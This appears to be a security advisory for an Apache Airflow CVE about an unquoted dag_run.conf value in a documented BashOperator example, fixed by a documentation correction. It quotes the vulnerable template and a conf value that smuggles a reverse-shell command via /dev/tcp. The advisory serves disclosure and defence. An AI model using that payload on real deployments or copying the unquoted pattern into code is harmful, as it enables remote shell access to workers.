CVE-2026-42252: Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern

Apache Airflow's official documentation at core-concepts/dag-run.html ("Passing Parameters when triggering Dags") showed a verbatim BashOperator(bashcommand="echo value: {{ dagrun.conf['conf1'] }}") example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had Dag.cantrigger permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the conf field of the trigger API: an authenticated trigger user could supply "; bash -i >& /dev/tcp/.../9999 0>&1; #" as a conf value and reach an os.exec on the worker. This CVE covers the documentation correction in apache/airflow PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to apache-airflow 3.2.2 or later to pick up the corrected documentation shipped with the release.